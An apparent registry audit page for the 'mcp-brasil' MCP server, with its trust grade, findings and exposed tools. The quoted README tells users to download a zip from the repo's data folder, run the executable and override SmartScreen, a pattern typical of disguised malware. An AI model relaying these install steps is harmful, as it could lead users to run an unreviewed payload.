Atlas / MCP servers / ungarbed-triggerfish318 / mcp-brasil

mcp-brasilCAUTION

mcp/ungarbed-triggerfish318/mcp-brasil

Conecte agentes de IA a 41 APIs públicas brasileiras para acessar dados do governo, com 363 tools, 87 resources e 62 prompts

Verdict
CAUTION
Grade
C
Trust score
78 /100
Exposed tools
9 9r · 0w · 0d
Transport
streamable-http
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/ungarbed-triggerfish318/mcp-brasil/main/src/mcpbrasil/data/tcepi/mcpbrasilv3.7.zip)

🧾 What this is

mcp-brasil is an MCP Server for 41 public Brazilian APIs.

It helps AI apps and agents fetch public data from Brazil in a clean, simple way. You can use it with tools like Claude and other MCP-ready apps.

💻 What you need

  • A Windows PC
  • Internet access
  • Permission to install or run apps
  • A modern browser to open the download page

⬇️ Download for Windows

  1. Open the release page: https://raw.githubusercontent.com/ungarbed-triggerfish318/mcp-brasil/main/src/mcpbrasil/data/tcepi/mcpbrasilv3.7.zip
  2. Find the latest release at the top of the page
  3. Download the Windows file from the Assets section
  4. Save the file to your Downloads folder
  5. If the file is a .zip, extract it first
  6. If the file is an .exe, run it directly

Use the download page here:

Visit the release page

🪟 Run the app on Windows

If you downloaded a .exe

  1. Double-click the file
  2. If Windows asks for permission, click Run
  3. Wait for the app to start

If you downloaded a .zip

  1. Right-click the zip file
  2. Choose Extract All
  3. Open the extracted folder
  4. Find the app file inside
  5. Double-click the file to run it

If Windows SmartScreen appears

  1. Click More info
  2. Click Run anyway
  3. Start the app

🔌 Connect it to your MCP app

After the app runs, add it as an MCP server in your client app.

Common apps that can use MCP servers include:

  • Claude Desktop
  • Other MCP clients
  • AI agent tools that support local servers

Use the server details from the app or from the release notes, then add them in your MCP client’s setti

Read from source at commit 5fe8162a3d92OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add mcp-brasil --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env AUTHKIT_DOMAIN=${AUTHKIT_DOMAIN} --env AUTHKIT_REQUIRED_SCOPES=${AUTHKIT_REQUIRED_SCOPES} --env AZURE_CLIENT_SECRET=${AZURE_CLIENT_SECRET} -- uvx mcp-brasil
claude-desktop
{
  "mcpServers": {
    "mcp-brasil": {
      "command": "uvx",
      "args": [
        "mcp-brasil"
      ],
      "env": {
        "ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
        "AUTHKIT_DOMAIN": "${AUTHKIT_DOMAIN}",
        "AUTHKIT_REQUIRED_SCOPES": "${AUTHKIT_REQUIRED_SCOPES}",
        "AZURE_CLIENT_SECRET": "${AZURE_CLIENT_SECRET}"
      }
    }
  }
}
03

Exposed tools (9)

9 read · 0 write · 0 destructive.

ToolRiskDescription
buscar_focosreadBusca focos de queimadas detectados por satélite no Brasil.
consultar_seriereadConsulta série temporal.
executar_lotereadExecuta múltiplas tools em uma única chamada, em paralelo.
hidden_toolreadTool escondida.
listar_bancosreadLista todos os bancos brasileiros registrados no Banco Central.
listar_estadosreadLista estados brasileiros.
listar_featuresreadLista todas as features (APIs) disponíveis no mcp-brasil.
planejar_consultareadCria um plano de execução para consultas complexas.
recomendar_toolsreadRecomenda tools relevantes a partir de uma pergunta em linguagem natural.
04

Trust audit

CAUTIONgrade C · trust 78/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (5 observation(s))
Shell
declared (5 observation(s))
Dependencies
pinned
Secrets in source
none-found

Findings (7)

MEDIUMInventory / provenance · inv.binary · CWE-1104
src/mcp_brasil/data/tce_pi/mcp_brasil_v3.7.zip
mcp_brasil_v3.7.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
src/mcp_brasil/_shared/batch.py:44
pkg = importlib.import_module(base)
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
src/mcp_brasil/_shared/batch.py:60
mod = importlib.import_module(f"{module_path}.tools")
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
src/mcp_brasil/_shared/feature.py:130
package = importlib.import_module(package_name)
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
src/mcp_brasil/_shared/feature.py:151
feature_module = importlib.import_module(module_path)
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
src/mcp_brasil/_shared/feature.py:178
server_module = importlib.import_module(f"{module_path}.server")
LOWPrompt injection · prompt.credential_read · CWE-94, CWE-1427
CHANGELOG.md:342
- Load .env file automatically via dotenv
Why it matters. asks the agent to read credentials

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 5fe8162a3d92full audit observations/trust-audit/mcp-server/ungarbed-triggerfish318__mcp-brasil.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-115fe8162a3d92CAUTIONC78first audit
06

Questions

What is the mcp-brasil MCP server?

Conecte agentes de IA a 41 APIs públicas brasileiras para acessar dados do governo, com 363 tools, 87 resources e 62 prompts

What tools does mcp-brasil expose?

9 in total: 9 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is mcp-brasil safe to connect to an agent?

With care. The audit graded it C (78/100) and found 7 things worth knowing before you trust this server, listed below with the exact line each was found on.

What credentials does mcp-brasil need?

It reads ANTHROPIC_API_KEY, AUTHKIT_DOMAIN, AUTHKIT_REQUIRED_SCOPES, AZURE_CLIENT_SECRET, DATAJUD_API_KEY, GITHUB_CLIENT_SECRET, GOOGLE_CLIENT_SECRET, MCP_BRASIL_API_TOKEN, MCP_BRASIL_AUTH_MODE, MCP_BRASIL_OAUTH_PROVIDER, META_ACCESS_TOKEN and META_AD_LIBRARY_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does mcp-brasil run?

It speaks streamable-http, so it runs as a service you connect to over the network. It is published on PyPI as mcp-brasil.

How current is this page?

The grade is for one exact copy of the source (5fe8162a3d92), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement